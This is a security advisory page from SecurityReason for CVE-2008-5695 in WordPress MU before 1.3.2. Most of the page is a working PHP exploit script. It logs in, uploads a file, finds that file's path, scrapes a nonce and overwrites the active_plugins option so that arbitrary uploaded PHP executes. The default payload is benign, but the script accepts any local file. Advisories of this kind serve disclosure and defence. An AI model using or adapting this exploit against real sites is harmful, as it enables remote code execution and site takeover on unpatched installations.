SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit


Arrow  SecurityAlert : 4798
Arrow  CVE : CVE-2008-5695
Arrow  CWE : CWE-20
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : Alexander Concha
Arrow  Published : 23.12.2008

Arrow  Affected Software : wordpress:wordpress:1.2-mingus
wordpress:wordpress:2.0.11
wordpress:wordpress:2.1.3_rc1
wordpress:wordpress:1.2-delta
wordpress:wordpress:2.1.3
wordpress:wordpress:1.0-platinum
wordpress:wordpress:2.0.8
wordpress:wordpress:1.0.2-blakey
wordpress:wordpress:2.0.9
wordpress:wordpress:2.2
wordpress:wordpress:1.0.1-miles
wordpress:wordpress:1.5-strayhorn
wordpress:wordpress:2.2.1
wordpress:wordpress:0.71-gold
wordpress:wordpress:1.5.1.1
wordpress:wordpress:2.2.0
wordpress:wordpress:1.3.1
wordpress:wordpress:1.5.1.2
wordpress:wordpress:1.5.1.3
wordpress:wordpress:1.5.2
wordpress:wordpress:2.0
wordpress:wordpress:2.0.1
wordpress:wordpress:2.0.10
wordpress:wordpress:2.0.10_rc1
wordpress:wordpress:2.0.2
wordpress:wordpress:2.0.3
wordpress:wordpress:2.0.4
wordpress:wordpress:2.0.5
wordpress:wordpress:2.0.6
wordpress:wordpress:2.0.7
wordpress:wordpress:2.1
wordpress:wordpress:2.1.1
wordpress:wordpress:2.1.2
wordpress:wordpress:1.2:beta
wordpress:wordpress:0.72:rc1
wordpress:wordpress:0.72
wordpress:wordpress:2.1:alpha_3
wordpress:wordpress:2.0.10_rc2
wordpress:wordpress:2.1.3_rc2
wordpress:wordpress:2.2.2
wordpress:wordpress:1.5
wordpress:wordpress:1.5.1
wordpress:wordpress:1.2.1
wordpress:wordpress:1.2.2
wordpress:wordpress:1.0.2
wordpress:wordpress:1.2
wordpress:wordpress:1.0
wordpress:wordpress
wordpress:wordpress:1.0.1
wordpress:wordpress:0.7
wordpress:wordpress:0.71
wordpress:wordpress:0.6.2
wordpress:wordpress:0.6.2.1
wordpress:wordpress:0.6.2.1:beta_2
wordpress:wordpress:0.6.2:beta_2
wordpress:wordpress:0.711
wordpress:wordpress:0.72:beta1
wordpress:wordpress:1.4
wordpress:wordpress:0.72:beta2
wordpress:wordpress:1.6
wordpress:wordpress:2.2.3
wordpress:wordpress:2.3
wordpress:wordpress:2.3.1
wordpress:wordpress:2.3.1:rc1
wordpress:wordpress:2.3.2 and previous versions
wordpress:wordpress_mu:1.3
wordpress:wordpress_mu:1.2.3
wordpress:wordpress_mu:1.2.2
wordpress:wordpress_mu:1.0
wordpress:wordpress_mu:1.3.1 and previous versions



Arrow  Advisory Content :  

<?php
/*
WordPress [MU] blog's options overwrite

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory:
http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.htm
l

This exploit uses active_plugins option to execute arbitrary PHP
*/
include_once './class-snoopy.php';

// Fix Snoopy
class SnoopyExt extends Snoopy {
function _prepare_post_body($formvars, $formfiles) {
if ( is_string($formvars) ) {
return $formvars;
}
return parent::_prepare_post_body($formvars, $formfiles);
}
}

set_time_limit( 0 );

// Any user with 'manage_options' and 'upload_files' capabilities
$user = 'user';
$pass = '1234';
$blog_url = 'http://localhost.localdomain/mu/';
$remote_file = ''; // relative path to wp-content
$local_file = ''; // the contents of this file, if any, will be uploaded

$snoopy = new SnoopyExt();

$snoopy->maxredirs = 0;
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' =>
$pass));

$snoopy->setcookies(); // Set auth cookies for future requests

if ( empty($remote_file) ) {
// Upload a new file
$snoopy->_submit_type = 'image/gif';
$snoopy->submit("{$blog_url}wp-app.php?action=/attachments",
get_contents());

if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
$remote_file = basename($match[1]);
}
}
if ( empty($remote_file) ) die('Exploit failed...');

// Look for real path
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");

if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#",
$snoopy->results, $match) ) {
$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
}
if ( empty($remote_file) ) die('Exploit failed...');

// It asumes that file uploads are stored within wp-content
$remote_file = '../' . ltrim($remote_file, '/');

$snoopy->fetch("{$blog_url}wp-admin/plugins.php");

// Recover previous active plugins
$active_plugins = array();
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results,
$matches) ) {
foreach ($matches[0] as $plugin) {
if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
$active_plugins[] = urldecode($match[1]);
}
print_r($active_plugins);
}
$active_plugins[] = $remote_file;

// Fetch a valid nonce
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");

if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#',
$snoopy->results, $match) ) {

// Finally update active_plugins
$snoopy->set_submit_normal();
$snoopy->submit("{$blog_url}wp-admin/options.php",
array(
'active_plugins' => $active_plugins,
'_wpnonce' => $match[1],
'action' => 'update',
'page_options' => 'active_plugins',
));
}

function get_contents() {
global $local_file;

return file_exists($local_file) ? file_get_contents($local_file) : '<?php
echo "Hello World " . __FILE__; ?>';
}
?>



Arrow  References :

http://www.milw0rm.com/exploits/5066
http://www.buayacorp.com/files/wordpress/wp-blog-option-overwrite.txt
http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html
http://secunia.com/advisories/28789
http://mu.wordpress.org/forums/topic.php?id=7534&amp;page&amp;replies=1




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.